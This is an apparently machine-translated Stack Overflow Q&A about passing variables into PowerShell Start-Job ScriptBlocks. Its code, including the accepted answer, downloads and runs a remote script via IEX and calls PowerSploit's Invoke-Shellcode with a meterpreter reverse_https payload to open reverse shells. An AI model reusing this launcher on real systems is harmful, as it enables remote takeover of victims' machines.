$foo = @("string.here")

foreach ($num in $foo) {
    $s = { $WebClientObject = New-Object Net.WebClient
           IEX $WebClientObject.DownloadString('https://webserver/MyCommandlet.ps1')
           $temp = $args[0]
           MyCommandlet -Lhost "$temp"
           Write-Host "$temp"
         }

    $id = [System.Guid]::NewGuid()
    $jobs += $id
    Start-Job -Name $id -ScriptBlock $s -args $num
}

this修改。 编辑:为了清楚起见,删除了不必要的代码。
MyCommandlet需要一个变量(在此为-Lhost $temp),该变量在使用前应进行检查(不应为null或为空)。

尝试运行上述脚本时,出现以下错误消息。



编辑:Invoke-Shellcode是原始Commandlet,我将其称为MyCommandlet。出于安全原因,我不想包含完整的代码(以防人们自己运行脚本)。有关更多详细信息,请参见此处的代码
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1

原始的ScriptBlock类似于(参见$ temp变量)
{
   $WebClientObject = New-Object Net.WebClient
   IEX $WebClientObject.DownloadString('PAYLOAD_URL')
   Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $temp -Lport 443 -Force
}

本质上,该变量未正确传递给我的MyCommandlet,而Write-Host $temp在相同的上下文中返回非null值(正确)。我知道变量不会传递给其他ScriptBlock,尤其是当它在新作业中运行时,但是因为Write-Host能够正确读取作业中的值,所以我必须错过其他内容。

正如一些帖子所建议的那样,我尝试了以下替代方法:
  • ...} -ArgumentList $temp(在ScriptBlock之后)
    http://powershell.org/wp/forums/topic/passing-parameter-to-start-job/
  • {param($temp) ...}(在ScriptBlock的开头)
  • 直接使用Start-Job -ScriptBlock {...},而不是使用变量
    ScriptBlock。 [scriptblock]::Create(...)声明
    ScriptBlock
  • 使用Invoke-Command代替Start-Job但不
    只是它也不起作用(尽管工作方式略有不同),我
    希望尽可能使用Start-Job
  • 我想避免使用Powershell V3.0 $using:variable功能。另外,它在我尝试的配置中不起作用。

  • 这些都不对我有用。

    最佳答案

    我找到了一个有效的解决方案,该解决方案依赖于使用环境变量(例如$env:myvar)。为了解决上述问题,我使用了这种方式:

    $foo = 'string_var'
    $env:temp_var = $($foo)
    
    $s = { $WebClientObject = New-Object Net.WebClient
           IEX $WebClientObject.DownloadString('PAYLOAD_URL')
           Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $env:temp_var -Lport 443 -Force -Proxy
           #Write-Host $env:temp_var
         }
    
    $id = [System.Guid]::NewGuid()
    $jobs += $id
    Start-Job -Name $id -ScriptBlock $s
    
    # Clean-up
    Remove-Item env:\temp_var
    

    有关Powershell中环境变量的更多详细信息,请参见https://technet.microsoft.com/en-us/library/ff730964.aspx

    ps :对我来说,上面建议的选项为何不起作用仍然是没有意义的...如果有人有任何解释,将非常欢迎。

    关于powershell - ScriptBlock中的参数无法正确扩展,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/33725314/

    10-08 22:36